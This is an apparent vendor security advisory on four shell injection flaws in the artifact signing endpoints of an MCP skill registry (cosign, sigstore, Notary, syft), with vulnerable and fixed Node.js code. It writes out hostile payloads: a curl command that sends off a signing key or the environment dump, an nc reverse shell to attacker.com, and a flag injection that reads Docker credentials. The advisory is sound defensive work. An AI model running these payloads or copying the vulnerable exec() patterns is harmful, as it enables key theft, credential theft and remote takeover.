← Security advisories

Claude MCP skill code injection — skill build artifact signing and attestation endpoints — SA-SKL-INJECTION43

SA-SKL-INJECTION43 documents four shell injection vulnerabilities in MCP skill registry build artifact signing and attestation endpoints. Signing pipelines are trusted infrastructure — they handle the cryptographic keys that determine which artifacts are accepted as genuine. When these pipelines construct shell commands by interpolating user-supplied values, the keys that protect the entire supply chain become the first casualty. A cosign signing endpoint that interpolates an attacker-controlled image reference allows the signing key to be exfiltrated, enabling the attacker to sign arbitrary artifacts as genuine registry output. A sigstore endpoint that interpolates an attacker-controlled identity string establishes a reverse shell with the signing worker's cloud IAM role. A Notary endpoint that interpolates an attacker-controlled server address leaks all environment variables including the NOTARY_AUTH credential. And a syft SBOM generation endpoint that interpolates an attacker-controlled output format accepts space-delimited flag injection that redirects the tool to fetch credentials from an attacker-controlled registry.

SA-SKL-INJECTION43 findings at a glance
CRITICALINJECTION43-001 — exec(`cosign sign ${imageRef} --key ${keyPath}`); attacker imageRef with ; cat ${keyPath} exfiltrates cosign signing key enabling supply-chain artifact signing; fix: execFile() array; validate imageRef against /^[a-z0-9.\-\/]+@sha256:[0-9a-f]{64}$/; realpathSync containment for keyPath
CRITICALINJECTION43-002 — exec(`sigstore sign ${artifactPath} --bundle ${bundlePath} --identity ${identity}`); attacker identity with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate identity against /^[a-zA-Z0-9@._\-+]{1,256}$/; realpathSync containment
CRITICALINJECTION43-003 — exec(`notary sign ${target} -s ${server} --tlscacert ${certPath}`); attacker server with ; printenv exfiltrates all env vars including NOTARY_AUTH credentials; fix: execFile() array; validate server against allowlist of known Notary servers; realpathSync containment for certPath
HIGHINJECTION43-004 — exec(`syft packages ${imagePath} -o ${outputFormat} > ${outputFile}`); attacker outputFormat with space-injected --from=attacker-registry reads credentials from Docker config context; fix: execFile() array; validate outputFormat against /^(json|text|cyclonedx|spdx|github)$/; realpathSync containment

INJECTION43-001 — cosign imageRef injection exfiltrates signing key

Severity: CRITICAL

The artifact signing endpoint constructs a cosign sign command by interpolating the user-supplied imageRef directly into a shell string passed to child_process.exec(). Because exec() passes its first argument to /bin/sh -c, any shell metacharacters in imageRef are interpreted as shell operators. An attacker supplying imageRef: "registry.example.com/skill@sha256:abc ; cat /etc/signing/cosign.key | curl -d @- attacker.com/collect" causes the shell to execute the cosign command and then pipe the signing key to an attacker-controlled endpoint.

The extracted cosign key grants the attacker the ability to sign arbitrary container images with the registry's trusted key. Any image signed with this key passes the registry's signature verification checks and is accepted as an authentic registry artifact. This is a supply-chain compromise: an attacker who can install malicious skills under the registry's trusted signature bypasses every downstream signature check that skill consumers rely on to protect their Claude Code installations. The window of compromise persists until the signing key is rotated and all previously signed artifacts are re-evaluated — an operationally expensive incident that may take days or weeks on a large registry.

Vulnerable
// POST /api/artifacts/:id/sign — exec() with interpolated imageRef
router.post('/artifacts/:id/sign', requireSession, requireRole('publisher'), async (req, res) => {
  const { imageRef } = req.body;
  const keyPath = `/etc/signing/${req.params.id}.key`;

  // Vulnerable: exec() passes string to /bin/sh -c; imageRef can contain shell operators
  const { stdout } = await exec(`cosign sign ${imageRef} --key ${keyPath}`);
  return res.json({ signed: true, output: stdout });
});
Fixed
// POST /api/artifacts/:id/sign — execFile() array + imageRef digest validation + realpathSync
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

const IMAGE_REF_RE = /^[a-z0-9.\-\/]+@sha256:[0-9a-f]{64}$/;

router.post('/artifacts/:id/sign', requireSession, requireRole('publisher'), async (req, res) => {
  const { imageRef } = req.body;

  if (!IMAGE_REF_RE.test(imageRef)) {
    return res.status(400).json({ error: 'imageRef must be a digest-pinned reference' });
  }

  // Contain keyPath to signing directory; prevent path traversal
  const signingDir = '/etc/signing';
  const keyPath = realpathSync(path.join(signingDir, `${req.params.id}.key`));
  if (!keyPath.startsWith(signingDir + path.sep)) {
    return res.status(400).json({ error: 'Invalid artifact ID' });
  }

  // execFile() passes args as array — no shell interpolation
  const { stdout } = await execFileAsync('cosign', ['sign', imageRef, '--key', keyPath]);
  return res.json({ signed: true });
});

INJECTION43-002 — sigstore identity injection establishes reverse shell

Severity: CRITICAL

The sigstore attestation endpoint interpolates the user-supplied identity value into a shell command string passed to exec(). The identity parameter represents the OIDC identity bound to the attestation — typically an email address or service account identifier. Because no validation is applied before interpolation, an attacker can supply an identity string containing shell operators. The payload ; nc attacker.com 4444 -e /bin/sh establishes a persistent reverse shell from the signing worker host to the attacker's listener, giving the attacker an interactive shell with the worker's filesystem, environment variables, IAM role, and internal network access.

Unlike the INJECTION43-001 key exfiltration, which produces a one-time artifact, a reverse shell is a persistent interactive channel that the attacker can maintain for lateral movement through the registry's internal network. The signing worker's IAM role, its access to the internal code signing infrastructure, and its network adjacency to other registry microservices make it an ideal pivot point for a broader infrastructure compromise.

exec() string interpolation is shell injection by definition. There is no safe way to interpolate user-controlled values into a string passed to exec(), shell: true spawn, or any other shell-pass-through execution API. The only safe alternative is execFile() with arguments as an array — the OS passes each array element to the subprocess as a separate argument with no shell interpretation. Validate inputs as an additional defense layer, but never rely on validation alone to prevent shell injection.

INJECTION43-003 — Notary server injection leaks NOTARY_AUTH credentials via printenv

Severity: CRITICAL

The Notary signing endpoint interpolates the user-supplied server parameter — the Notary server URL — into the notary sign command string. An attacker supplying server: "notary.example.com ; printenv | curl -d @- attacker.com/collect" causes the shell to run the legitimate Notary sign command against the specified server and then pipe the complete environment variable dump to the attacker.

The process environment includes NOTARY_AUTH (the base64-encoded Notary server credentials), AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY (if the worker uses static credentials instead of IMDS), database connection strings, and any other secrets injected via the container orchestration system's secret management. The signing worker's environment is a one-stop credential dump for the entire registry's operational secrets — a single printenv exfiltration can be more damaging than individual targeted attacks against each secret store individually.

Vulnerable
// notary sign with exec() — server is user-supplied
const { stdout } = await exec(
  `notary sign ${target} -s ${server} --tlscacert ${certPath}`
);
Fixed
// notary sign with execFile() — server validated against allowlist
const ALLOWED_NOTARY_SERVERS = new Set([
  'notary.skillaudit.dev',
  'notary.internal.skillaudit.dev',
]);

if (!ALLOWED_NOTARY_SERVERS.has(new URL(server).hostname)) {
  return res.status(400).json({ error: 'Notary server not in allowed list' });
}

const certPath = realpathSync(path.join(CERTS_DIR, path.basename(req.body.certFile)));
if (!certPath.startsWith(CERTS_DIR + path.sep)) throw new Error('Path traversal');

const { stdout } = await execFileAsync('notary', [
  'sign', target, '-s', server, '--tlscacert', certPath
]);

INJECTION43-004 — syft outputFormat space injection reads Docker config credentials

Severity: HIGH

The SBOM generation endpoint interpolates the user-supplied outputFormat parameter into the syft packages command string. While the payload does not use shell operators (;, |, &), it exploits the shell's word-splitting behavior: a space within the interpolated value creates additional argument tokens that syft processes as flags. An attacker supplying outputFormat: "json --from=registry --credentials-file=/root/.docker/config.json" causes syft to read Docker registry credentials from the specified file and use them when pulling the analyzed image — the resulting syft log output includes registry authentication errors that reveal the credential file path and format.

More directly, supplying outputFormat: "json --from=attacker-registry.com/probe:latest" causes syft to authenticate to the attacker's registry using whatever credentials the Docker config holds for attacker-registry.com, potentially sending a Docker auth token to the attacker's server as part of the registry challenge-response authentication handshake. Even without an auth token send, the flag injection allows the attacker to cause syft to perform arbitrary registry operations — including pulling attacker-controlled images for analysis — in the context of the signing worker's registry credentials and network position.

Vulnerable
// syft SBOM generation — outputFormat user-supplied via exec() string interpolation
const { stdout } = await exec(
  `syft packages ${imagePath} -o ${outputFormat} > ${outputFile}`
);
Fixed
// syft SBOM generation — execFile() + strict outputFormat enum + realpathSync
const ALLOWED_FORMATS = new Set(['json', 'text', 'cyclonedx', 'spdx', 'github']);

if (!ALLOWED_FORMATS.has(outputFormat)) {
  return res.status(400).json({ error: `outputFormat must be one of: ${[...ALLOWED_FORMATS].join(', ')}` });
}

const imagePath = realpathSync(path.join(ARTIFACTS_DIR, path.basename(req.body.imageFile)));
if (!imagePath.startsWith(ARTIFACTS_DIR + path.sep)) throw new Error('Path traversal');

const outputFile = realpathSync(path.join(SBOM_OUT_DIR, `${req.params.id}.${outputFormat}`));
if (!outputFile.startsWith(SBOM_OUT_DIR + path.sep)) throw new Error('Path traversal');

// execFile() with separate stdout capture — no shell word-splitting
const { stdout } = await execFileAsync('syft', ['packages', imagePath, '-o', outputFormat]);
await fs.writeFile(outputFile, stdout);
return res.json({ sbomPath: outputFile });

Remediation summary

FindingSeverityPrimary remediationSecondary hardening
INJECTION43-001CriticalReplace exec() with execFile() array; validate imageRef against digest-only regex; realpathSync containment for keyPathStore signing keys in a secrets manager (not filesystem); rotate on compromise detection; audit log every signing event
INJECTION43-002CriticalReplace exec() with execFile() array; validate identity against /^[a-zA-Z0-9@._\-+]{1,256}$/; realpathSync containment for all pathsRun signing workers in minimal-privilege containers with no shell binary; network egress firewall to block reverse shell callbacks
INJECTION43-003CriticalReplace exec() with execFile() array; validate server against explicit allowlist; realpathSync containment for certPathInject secrets via secrets manager references, not env vars; seal process environment before exec; rotate NOTARY_AUTH on each signing session
INJECTION43-004HighReplace exec() with execFile() array; validate outputFormat against strict enum; realpathSync containment for all pathsMount Docker config as read-only; network-isolate syft workers; audit log all syft invocations including resolved flags

Find code injection vulnerabilities like these before attackers do. SkillAudit scans your MCP skill registry artifact signing pipelines for all four SA-SKL-INJECTION43 patterns plus the broader injection advisory series. See the SA-SKL-SSRF55 collaboration SSRF advisory for related findings. Connect your repository at skillaudit.dev.